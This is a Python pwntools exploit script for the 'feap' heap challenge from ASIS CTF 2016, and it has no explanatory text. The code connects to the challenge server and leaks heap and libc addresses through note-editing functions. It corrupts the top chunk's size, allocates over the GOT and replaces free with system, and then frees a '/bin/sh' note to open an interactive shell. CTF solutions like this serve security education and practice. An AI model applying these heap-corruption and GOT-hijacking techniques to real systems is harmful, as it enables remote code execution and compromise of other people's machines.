asis ctf 2016

feap.py

from pwn import *

address = 'feap.asis-ctf.ir'
port = 7331

context(os='linux',arch='amd64')

def debug(address):
    gdb.attach(p, 'b *0x%x' % address)
    raw_input()

def create_note(size, title, body):
    p.sendline('1')
    p.recvuntil(': ')
    p.sendline(str(size))
    p.recvuntil(': ')
    p.sendline(title)
    p.recvuntil(': ')
    p.sendline(body)
    p.recvuntil('>')

def delete_note(id):
    p.sendline('2')
    p.recvuntil(': ')
    p.sendline(str(id))
    p.recvuntil('>')

def edit_note_title(id, title):
    p.sendline('3')
    p.recvuntil(': ')
    p.sendline(str(id))
    p.recvuntil(': ')    
    p.sendline('1')
    p.recvuntil(': ')
    p.sendline(title)
    p.recvuntil('>')


def edit_note_body(id, body):
    p.sendline('3')
    p.recvuntil(': ')
    p.sendline(str(id))
    p.recvuntil(': ')
    p.sendline('2')
    p.recvuntil(': ')
    p.sendline(body)
    p.recvuntil('>')

    
def print_note(id):
    a = dict()
    p.sendline('5')
    p.recvuntil(': ')
    p.sendline(str(id))
    p.recvuntil(': ')
    data = p.recvline()[:-1]
    a['id'] = data
    p.recvuntil(': ')
    data = p.recvline()[:-1]
    a['title'] = data
    p.recvuntil(': ')
    data = p.recvline()[:-1]
    a['body'] = data
    return a


def leak(address):
    # print '0x%x' % address
    edit_note_title(0, p64(address))
    note = print_note(44)
    # print note
    return note['title']
    

# p = process('./feap')
p = remote(address, port)

p.recvuntil('>')
create_note(192, 'a'*16, 'b'* 16)
heap_address = unpack(leak(0x6020a8),'all')
print '[+] Heap: ' + hex(heap_address)

fgets_address = unpack(leak(0x602048),'all')
malloc_address = unpack(leak(0x602060),'all')
puts_address = unpack(leak(0x602020),'all')
print '[+] fgets: ' + hex(fgets_address)
print '[+] malloc: ' + hex(malloc_address)
print '[+] puts: ' + hex(puts_address)
libc_base = fgets_address - 0x0006e220
print '[+] libc_base: ' + hex(libc_base)
system_address = libc_base + 0x46640
bin_sh = libc_base + 0x17ccdb
# system_address = libc_base + 0x46530
# system_address = libc_base + 0x468f0
print '[+] system: ' + hex(system_address)
edit_note_title(0, '/bin/sh\x00')
edit_note_body(0, '/bin/sh\x00' + 'b' *192 +'\xff'*8) # Overwrite Wildness chunk
bss = 0x602040
create_note(bss-16-heap_address+256-0x3f0+0x18, '',  '') # Actually it malloc -> 0x602010 
create_note(-56, '\x00'*8 + p64(system_address)+p64(puts_address), '') # Overwrite free@plt
# delete_note(0)
p.sendline('2')
p.recvuntil(': ')
p.sendline('0') # free('/bin/sh') 
p.interactive()